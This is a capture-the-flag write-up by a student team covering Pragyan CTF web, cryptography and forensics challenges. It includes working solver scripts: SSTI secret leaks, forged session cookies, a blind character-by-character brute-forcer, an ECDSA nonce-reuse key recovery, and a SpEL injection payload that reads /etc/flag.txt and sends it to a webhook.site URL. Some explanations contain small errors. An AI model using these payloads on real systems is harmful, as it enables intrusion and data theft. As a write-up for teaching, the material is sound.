# Write Up Pragyan CTF - ICC Pisang Molen

This CTF based from India and >400 teams are registered to compete in this ctf. Our team consist of Ziru (Ahmad Sultani Dayanullah), Don Neto (Reynald Abner Tananda), and Mage (Marcellino Candyawan).
There are 5 categories which contested in this CTF. Web, Crypo, Pwn, Misc, and Forensic. Although we didnt solve any misc or pwn, thankfully We got <b>#4</b> overall and successfully got <b>#1</b> on student category.

## Web
We solved 5 out of 8 challenge. not bad right?
### Birthday Card
We are given a website and `app.py`, the source code of it. we found that it is vulnerable to SSTI. Also, we can get the flag if we open `/admin/report` endpoint and provide the correct token (`admin`) and signature, that are generated by the app secret.
```python!
@app.route("/admin/report")
def admin_report():
auth_cookie = request.cookies.get("session")
if not auth_cookie:
abort(403, "Unauthorized access.")
try:
token, signature = auth_cookie.rsplit(".", 1)
from app.sign import initFn
signer = initFn(KEY)
sign_token_function = signer.get_signer()
valid_signature = sign_token_function(token)
if valid_signature != signature:
abort(403, f"Invalid token.")
if token == "admin":
return "Flag: p_ctf{redacted}"
else:
return "Access denied: admin only."
except Exception as e:
abort(403, f"Invalid token format: {e}")
```
with simple ssti as `{{config['secret']}}`, we can get the secret

After that we tried to craft our own token with hmac sha256 and then we succeed creating the correct signature. here's the full script to generate it:
```python!
import hmac
import hashlib
import base64
SECRET_KEY = "dsbfeif3uwf6bes878hgi"
token = "admin"
signature = hmac.new(SECRET_KEY.encode(), token.encode(), hashlib.sha256).hexdigest()
session_cookie = f"{token}.{signature}"
print("Session Cookie:", session_cookie)
```
```javascript!
flag: p_ctf{S3rVer_STI_G0es_hArd}
```
### Deathday Card
We thought this was harder version of `birthday card` so we will solve it using similar method. but this time, we found that the token generation are not that simple. so instead we do SSTI to leak the `sign.py` and craft the correct token

Actually there are many attack vector on this challenge, it was limited to 50 chars but who cares? we can stack our payload 4 times sequentially using variables (50*4 = 200) so it will be more than enough. But we just want to solve it using the way we solve birthday card
```javascript!
flag: p_ctf{I_aInT_lEaVinG_sSTi_hEhEhE}
```
### Phantom Params
We are given a website that can be used to login and zip file containing the source code of the challenge. After reversing the code, we found that we can request the flag by the endpoint `/api/files`. here's the code:
```javascript!
class SecurityVerifier {
#ref;
hiddenKey;
verifyFn;
constructor({ hiddenKey }) {
this.#ref = Object.freeze({
state: false
});
this.hiddenKey = hiddenKey || 'ref_' + Math.random().toString(36).substr(2, 5);
this.verifyFn = (r) => {
try {
const p = r[this.hiddenKey];
if (p && p.auth === true) {
return true;
}
return false;
} catch {
return false;
}
};
}
resolve(base, ext) {
const target = Object.create(null);
Object.keys(base).forEach((key) => {
if (base[key] && typeof base[key] === 'object') {
target[key] = this.resolve(base[key], {});
} else {
target[key] = base[key];
}
});
if (ext && typeof ext === 'object') {
Object.keys(ext).forEach((key) => {
const value = ext[key];
if (value && typeof value === 'object') {
if (!target[key]) target[key] = {};
target[key] = this.resolve(target[key], value);
} else {
target[key] = value;
}
});
}
return target;
}
verify(input) {
try {
const merged = this.resolve({}, input);
if (typeof this.verifyFn === 'function') {
return this.verifyFn(merged);
}
return false;
} catch (error) {
console.error('Verify error:', error);
return false;
}
}
}
app.post('/api/files', (req, res) => {
if (!req.session.user) {
return res.status(401).json({ error: 'Not authenticated' });
}
const fileName = req.body.file_id;
if (typeof fileName !== 'string' ||
!fileName.endsWith('.txt') ||
fileName.includes('/') ||
fileName.includes('\\') ||
fileName.includes('..')) {
return res.status(400).json({ error: 'Invalid filename' });
}
try {
const publicFiles = ['welcome.txt', 'about.txt'];
if(fileName === 'flag.txt') {
const userKey = req.session.user.securityKey;
const verifier = new SecurityVerifier({ hiddenKey: userKey });
if (!verifier.verify(req.body.data)) {
return res.status(403).json({
error: `Access Denied`,
});
}
} else if(!publicFiles.includes(fileName)) {
return res.status(404).json({ error: 'File not found' });
}
const filePath = path.join(__dirname, 'files', fileName);
if (!fs.existsSync(filePath)) {
return res.status(404).json({ error: 'File not found' });
}
const content = fs.readFileSync(filePath, 'utf8');
res.json({ content });
} catch (error) {
res.status(500).json({ error: "error" });
}
});
```
From that code, in orded to get the flag, we need to provide our hiddenKey -> which is basicly our securityKey and make the property auth to true. We can access out security key by the browser console (will update when the website up again)
Final payload:
```bash!
❯ curl -X POST https://phantom.ctf.prgy.in/api/files
-H "Content-Type: application/json"
-b "connect.sid=s%3A_b1ViZrWHyEBmRm3i68BrKYEHamBQAxV.I6jSfj3NDStY3VPp7KVPuEwfY4NDir8jT9SRDVdpyKE"
-d '{
"file_id": "flag.txt",
"data": {
"ref_ke4pw": { "auth": true }
}
}'
```
```javascript!
flag: p_ctf{dyn4m1c_0bj3ct_v3r1f13r}
```
### Finding X
Given a `data.xml` and a website that has admin panel. After a long journey of headache, we found a clue that the website uses `flask sesssion cookie`, and has to be forwarded locally (`X-Forwarded-For: 127.0.0.1`; source: the chall description)
We use `flask-unsign` and `rockyou.txt` to find out that the cookie content is `username: guest` with the key `ilovecookies`. Then we forge the cookie with `username: admin`.
We then get the part2 flag. but what about the part1? we try to test the request without the cookie, just the header `X-Forwarded-For`. and we get that there is and endpoint `/api/search` that can search for employees. so i think the intended solution was to use `X-Forwarded-For` first. let's look at the `data.xml`.
```xml!
<company>
<department id="1" name="Confidential">
<employee>
<name>Confidential</name>
<id>EMP007</id>
<details>
<position>Confidential</position>
<selfDestructCode>p_ctf{fake_flag}</selfDestructCode>
</details>
</employee>
</department>
</company>
```
we thought, this tells us that employee with id EMP007 will give us the flag. but turns out it has nothing to do :/ i dont know what's the intention of the problem setter. We solved it by testing char one by one with `ascii letters` and `_{` because if the flag prefix is correct it will return something like `employees found` (will update the POC when website up). Here is a solver that we built:
```python!
import itsdangerous
import httpx
from pwn import log
import string
secret_key = "ilovecookies"
payload = {"username": "admin"}
serializer = itsdangerous.URLSafeTimedSerializer(secret_key)
session_cookie = serializer.dumps(payload)
headers = {
"X-Forwarded-For": "127.0.0.1",
}
cookies = {"session": session_cookie}
url = "https://findingx.ctf.prgy.in/admin"
session = httpx.Client(http2=True)
response = session.get(
url,
headers=headers,
cookies=cookies,
)
url_search = "https://findingx.ctf.prgy.in/api/search"
strings = string.ascii_letters + string.digits + "_{"
flag = "p_ctf"
stop = False
while flag[-1] != "}" and not stop:
stop = True
for char in strings:
payload = {"search": flag + char}
response = session.post(url_search, json=payload)
log.info(f"Trying {flag + char}")
if "Employee exists." in response.text:
flag += char
print("Current Flag:", flag)
stop = False
break
print("Flag:", flag)
break
```
```javascript!
flag: p_ctf{i_h4t3_br97f0r63_b4d_4nd_i_c4n_n0t_l13}
```
### Spelling It Out
We are given a website and the source code. after reading the code, we found that the only one injection point was the `search endpoint` with `regex`.
```java!
package com.prod.hr_app.repository;
import com.prod.hr_app.model.User;
import org.springframework.data.mongodb.repository.Query;
import org.springframework.data.repository.CrudRepository;
import org.springframework.stereotype.Repository;
import org.springframework.data.repository.query.Param;
import java.util.List;
@Repository
public interface UserRepository extends CrudRepository<User, String> {
@Query("{ 'username': { $regex: ?#{?0} } }")
List<User> findByUsernameContaining(String username);
}
```
after that we search on google to find that there is SpEL (Spring Expression Language) Injection. then we tried to test our payload locally to see how out input treated. But we have a problem, this type of injection is blind. we dont see the output clearly so we craft a payload with `a ? b : c` (elvis) to search for b if its correct and search for c if its not / error. First we do rce to check if the file is available and then we send it to our server / webhook
Here is the final payload:
```java!
o'+(new java.net.URL('https://webhook.site/3c2580ff-a5f4-4ac2-b913-3e52448e97e8/?ziru='+new java.util.Scanner(new java.io.File('/etc/flag.txt')).useDelimiter('\\Z').next()).openStream() == null ? 'ny' : 'ck')+'
```
So it will search for regex `ony` if its success and `ock` if its not.

```javascript!
flag: p_ctf{y0u_FiN4l1y_F0uNd_hOw_To_SpEL_iT}
```
## Crypography

### TinyBunnie - 400
To solve this problem, we need to find two different keys (PoW1 and PoW2) that produce the same ciphertext when used to encrypt a block. This can be done with respect to the TEA algorithm which allows to create the same key by modifying certain bits.
The TEA algorithm has a weakness where different keys can produce the same ciphertext for all plaintexts. These equivalent keys can be created by flipping the least significant bit (MSB) of the first two parts of the key (K0 and K1) of the original key.
For each block, we generate a random key (PoW1) and then modify K0 and K1 by flipping their MSBs to get PoW2. This ensures that the two keys are different but produce the same ciphertext.
```python
from Crypto.Util.number import *
from pwn import *
def generate_key_pair():
# Generate a random 16-byte key (PoW1)
pow1 = os.urandom(16)
k0 = bytes_to_long(pow1[:4])
k1 = bytes_to_long(pow1[4:8])
k2 = bytes_to_long(pow1[8:12])
k3 = bytes_to_long(pow1[12:16])
# Flip the MSB of k0 and k1
k0_prime = k0 ^ 0x80000000
k1_prime = k1 ^ 0x80000000
pow2 = (
long_to_bytes(k0_prime, 4) +
long_to_bytes(k1_prime, 4) +
long_to_bytes(k2, 4) +
long_to_bytes(k3, 4)
)
return pow1.hex(), pow2.hex()
a_pow1 = []
a_pow2 = []
for _ in range(6):
pow1, pow2 = generate_key_pair()
a_pow1.append(pow1)
a_pow2.append(pow2)
r = remote("block.ctf.prgy.in", 1337, ssl=True)
for i in range(6):
print(r.readuntil(b"block:"))
print(r.recvline())
r.sendlineafter(b"first ProofOfWork :", a_pow1[i].encode())
r.sendlineafter(b"second ProofOfWork :", a_pow2[i].encode())
r.interactive()
```

Bonus :)

```javascript!
Flag: p_ctf{0Hh_No00_I5_T(-)i$_value_Ov3rFl0W!}
```
### sECCuritymaxxing - 406
This challenge uses secp256k1 curves with known values of parameters G and n. After viewing and testing the challenge code,a vulnerability was found where k1=f7[rppi], with array f7 containing 200 elements. After 200 signatures, the server will repeat the nonce from the beginning. So that the exploitation step can be performed:
1. Collect 201 signatures by sending 201 signature requests. For the message I use a message according to the loop. The 201st signature will use the first nonce of f7 that has been repeated.
2. The value r is generated from random_point[0]%n, which depends on the nonce k. Two signatures with the same r → same nonce k → can be exploited.
If there are two signatures (r,s1,m1) and (r,s2,m2) with the same nonce, then we can calculate the nonce kk by the formula:
```
k = (H(m1) - H(m2) // s1 - s2 ) mod n
```
3. From the signature equation:
```
s = ((H(m) + r * d) * pow(k,-1, n)) mod n
```
We can find the private key d by the formula:
```
d = ((s * k - H(m)) * inverse(r, n)) % n
```
After getting d, we can forge the signature for our desired message. (In this case, the target message is "give_me_signature")
```python
from pwn import *
import hashlib
from Crypto.Util.number import inverse
from collections import defaultdict
# ECDSA Parameters (secp256k1)
a, b = 0, 7
G = (55066263022277343669578718895168534326250603453777594175500187360389116729240, 32670510020758816978083085130507043184471273380659243275938904335757337482424)
p = pow(2, 256) - pow(2, 32) - pow(2, 9) - pow(2, 8) - pow(2, 7) - pow(2, 6) - pow(2, 4) - pow(2, 0)
n = 115792089237316195423570985008687907852837564279074904382605163141518161494337
def f3(P, k, p):
Q = (0, 0)
while k > 0:
if k % 2 == 1:
Q = f1(Q, P, p)
P = f1(P, P, p)
k //= 2
return Q
def f1(P, Q, p):
if P == (0, 0):
return Q
if Q == (0, 0):
return P
x1, y1 = P
x2, y2 = Q
if x1 == x2 and y1 != y2:
return (0, 0)
if x1 == x2:
m = (3 * x1 * x1 + a) * inverse(2 * y1, p) % p
else:
m = (y2 - y1) * inverse(x2 - x1, p) % p
x3 = (m * m - x1 - x2) % p
y3 = (m * (x1 - x3) - y1) % p
return (x3, y3)
def hash_msg(msg):
return int(hashlib.sha1(msg.encode()).hexdigest(), 16)
conn = remote("seccmaxx.ctf.prgy.in", 1337, ssl=True)
def collect_signatures():
signatures = []
for _ in range(201):
conn.sendlineafter("> ", b"1")
conn.sendlineafter("Message to sign > ", str(_).encode())
output = conn.recvline().decode().strip()
output = output.replace("(", "").replace(")", "").replace("'", "").replace(" ", "")
r_hex, s_hex = output.split(",")
r = int(r_hex, 16)
s = int(s_hex, 16)
signatures.append({"r": r, "s": s, "m": str(_)})
return signatures
signatures = collect_signatures()
def find_duplicate_r(signatures):
r_dict = defaultdict(list)
for sig in signatures:
r_dict[sig['r']].append(sig)
for r, sigs in r_dict.items():
if len(sigs) >= 2:
for i in range(len(sigs)):
for j in range(i + 1, len(sigs)):
if sigs[i]['s'] != sigs[j]['s']:
return sigs[i], sigs[j]
return None
# Find two signatures with the same r
sig_pair = find_duplicate_r(signatures)
sig1, sig2 = sig_pair
r = sig1["r"]
s1, s2 = sig1["s"], sig2["s"]
m1, m2 = sig1["m"], sig2["m"]
h1 = hash_msg(m1)
h2 = hash_msg(m2)
k = ((h1 - h2) * inverse(s1 - s2, n)) % n
d = ((s1 * k - h1) * inverse(r, n)) % n
msg_target = "give_me_signature"
h_target = hash_msg(msg_target)
k_fake = 1
R = f3(G, k_fake, p)
r_fake = R[0] % n
s_fake = ((h_target + r_fake * d) * inverse(k_fake, n)) % n
print(f"New signature: r = {r_fake}, s = {s_fake}")
conn.sendlineafter("> ", b"2")
conn.sendlineafter("r: ", str(r_fake).encode())
conn.sendlineafter("s: ", str(s_fake).encode())
conn.interactive()
```

```javascript!
Flag: p_ctf{I5it_tH3K3Y_0r_y0|_|r_pr!5ef0R_fr3340m}
```
### FakeGM - 498
I created 3 files to complete this challenge.
For the first file using the data from scroll.log, we can reconstruct the state of Python's Mersenne Twister PRNG, allowing us to predict the next generated values. By leveraging randcrack, we extract the first 624 32-bit numbers from the generator, enabling us to determine the result used to find the prime number p.
```python
from randcrack import RandCrack
import re
with open("scroll.log", "r") as f:
log = f.readlines()
values = []
for line in log:
match = re.match(r'\[.*?:void:(\d+):\d+\]', line.strip())
if match:
values.append(int(match.group(1)))
rc = RandCrack()
for v in values[:624]:
rc.submit(v)
for v in values[624:719]:
predicted = rc.predict_getrandbits(32)
assert predicted == v, "Just make sure"
predicted_values = [rc.predict_getrandbits(32) for _ in range(48)]
fn = rc.predict_getrandbits(32)
vtstr = ''.join(map(str, predicted_values)) + str(fn)[:-2]
result = int(vtstr[:-9])
print("Recovered num1:", result)
```
For the second file (sage) after getting num1, we can find the factor p of n by utilizing the Coppersmith attack.
```python
from sage.all import *
n = 3259466781019167401951216494231315595805081776228209818075701921521868683751857814651647433531880583868181444470353018444193590378172961570466649141852266963326982374375861628662847171724735551576077463472595044522321833864866626133598135154738956531374390086860954663870639075475041952707819778146841575131048704288252789787111970562879318460153989869841631930243956816225029746857258402620477433167748323111901615659995966330492514053426911412542746090913332684967323560006279629805013777616876816333468468683444357903532458653203695164111430233410866383862129197544714526799141651419361546745122156473998294526353760786038343988162123778259476943520209296863046482389769112440348604340648380664062195636494231262274512940011142227458476377431559543167308015249936485429629916099275007089228169601360996094782077594042370827339495807614499150080134777669807992372652131959981271111572597396435096052457916368362490152523450238626293143374505369427646642961591432785673980279892699088911679677825245805554702802020455383234768941727466351412451309585020974465300420427332818206964661261894921798811127667806569804424567943053248723918658996810832651285194271982463688253650233487644057024625071873131029064176093765268897558846497
num1 = 420881775732632751032624623863310972883281983410522843693422354509724201768762272815122161689833810169722513248386680402373104242911385772815898771242126480826756407614182972818108038271027631591133457554814595683927716157951246114600364220288073219410177916525728798479941526364849327221740960020415021297242112309307048387986875725078421154174239199200694268325851629523547510333248970656111964107751124141552344148705413442977702605654061972554066299233694416825761
P = PolynomialRing(Zmod(n), 'x', implementation='NTL')
x = P.gen()
f = (num1 << 512) + x
roots = f.small_roots(X=2**512, beta=0.5, epsilon=0.05)
if roots:
num2 = int(roots[0])
p = (num1 << 512) + num2
q = n // p
assert p * q == n
print("[+] p =", p)
print("[+] q =", q)
else:
print("[-] something is wrong")
```
For the third file after getting p, use Legendre symbols to determine each flag bit.
```python
from sympy import legendre_symbol
with open("scroll.txt", "r") as f:
c = f.read().strip()
c = eval(c)
p = 5643102010236315124409452260830682546334133489046869948025973923745994277383482901831496605506148654600149688592668781483187037630677557052307342917447073562568200389439288219615586427664342594192125092631714330657158388232305233744221577763233993191992682908171538820199860734442933169973198135235183135152203729767103307894333380486504937111452562340445593092898614661266215915092346484632261384653360526676281992657724084825507463723407695555229662915138865633344551365145613154894925725403047890151630543975127909158040194565203043516091674885011158152034021616009060910148366493503242933558370603612607405828401725659
binary = []
for ci in c:
lp = pow(ci, (p-1)//2, p)
if lp == 1:
binary.append('1')
else:
binary.append('0')
binary_str = ''.join(binary)
flag_int = int(binary_str, 2)
flag_bytes = flag_int.to_bytes((flag_int.bit_length() + 7) // 8, 'big')
print("Flag:", flag_bytes.decode())
```
```javascript!
Flag: p_ctf{O00h_w41t_co0p3rsm1th_w0rk34_r3411y!}
```
## Forensics

### Checkmate - 495

We were given an image file.
hex.jpg this is the file we were given by chall

After running Foremost, we extracted two additional image files. Initially, we suspected that these images contained hidden data, so we attempted various steganography techniques but found nothing significant.


Eventually, we shifted our focus back to the original image, hex.jpg, from the challenge. Running the strings command on it revealed the phrase:
“The Game of the Century”
Additionally, the image itself was a chessboard, leading us to suspect that it might be related to Chess Decrypt, a technique that requires a PGN (Portable Game Notation) file to extract hidden data.
We then searched for “The Game of the Century”, which led us to the famous chess match between Donald Byrne and Bobby Fischer (1956).
From this match, we obtained the PGN (Portable Game Notation) file and used it to decrypt the hidden data.
After downloading the PGN file, we decrypted it using [Chess Encryption](https://github.com/WintrCat/chessencryption). The output was a hex string, which turned out to be the password for Steghide.
Using this password, we extracted hidden data from an image of a dog playing chess. This extraction yielded one image file and two ZIP archives.

To obtain the password for the ZIP files, we examined the metadata of the extracted JPG file. Within the metadata, we found an author name, which turned out to be the password for both ZIP archives.
After extracting the ZIP files, we obtained two folders, each containing multiple PNG files that resembled chessboards.

Upon closely examining each PNG file, we noticed suspicious patterns. To investigate further, we applied an RGB inversion to each image. This revealed fragmented pieces of the flag hidden within the images.

```javascript!
Flag: pctf{3npa55ant_t0_w1n}
```
### Memoria Obscuria - 500

For this challenge, we were given a .mem (memory dump) file. To analyze it, we used Volatility 3, a powerful tool for memory forensics.
Since the challenge hinted at a suspicious script file, we immediately used grep to search for script.py within the memory dump.
`"C:\Users\sai\Desktop\script.py"`
After extracting and opening script.py, we found that it contained a decryption script. However, it required two critical inputs:
• theactualkey
• PASSKEY
Without these keys, the script couldn’t proceed with decryption, so we shifted our focus to locating them within the memory dump.
To find theactualkey and PASSKEY, we used grep directly on the memory dump. Once we located potential values, we cross-referenced them with the problem statement to confirm their validity.
here :
```python!
import hashlib
import base64
from cryptography.fernet import Fernet
def recreate_key():
theactualkey = "Env4rs_1s_4m4z1ng"
crypt_key = hashlib.sha256(theactualkey.encode('utf-8')).digest()
crypt_key = base64.urlsafe_b64encode(crypt_key[:32])
return crypt_key
def decrypt_data(encrypted_data):
crypt_key = recreate_key()
cipher = Fernet(crypt_key)
decrypted_output = cipher.decrypt(encrypted_data.encode('utf-8'))
return decrypted_output.decode('utf-8')
def main():
print("I seem to have sent the 'PASSKEY' over the internet")
encrypted_output = input("Enter the encrypted output: ").strip()
try:
decrypted_data = decrypt_data(encrypted_output)
print("\nDecryption successful!")
print("Recovered data: ", decrypted_data)
except Exception as e:
print("Decryption failed:", str(e))
if __name__ == "__main__":
main()
```
After successfully decrypting the script, a Google Drive link appeared, leading to a GIF file. Upon analysis, we identified that the GIF contained a Morse code sequence.
To decode it, we first split the GIF into individual frames and then extracted the Morse code patterns from each frame. Finally, we decoded the Morse code, revealing the next clue or the flag.

The decrypted Morse code resulted in the phrase:
“Openthisfilesesame”
This was likely a password or a key needed to unlock the next step in the challenge.
After obtaining the “Openthisfilesesame” password from the Morse code decryption, we searched the memory dump for a ZIP file that could be unlocked using this password.
We found the file at the following memory address:
`📂 0xb7e5f920 → \Users\sai\Desktop\protected.zip`
Using the decrypted password, we proceeded to extract its contents.

After extracting protected.zip, we found a PNG file that appeared to contain hidden data. However, before extracting it using Steghide, we needed to find the password to unlock the embedded data.
Our next step was to search for clues within the memory dump or previously obtained files to identify the correct password for Steghide extraction.
After searching the memory dump using strings and grep, we found a suspicious string:
`🔍 {UGFzc3dvcmR7WTB1X200eV9wYTU1fQ==}`
Recognizing that this was Base64-encoded, we used CyberChef to decode it. The output revealed the password:
`🔑 Password{Y0u_m4y_pa55}`
We then used this password with Steghide to extract the hidden data from the PNG file.
After extracting the PNG file using Steghide with the recovered password, we successfully retrieved flag.txt. This file contained the final flag for the challenge.

```javascript!
Flag: p_ctf{Th3fla4gsureusV0latil3}
```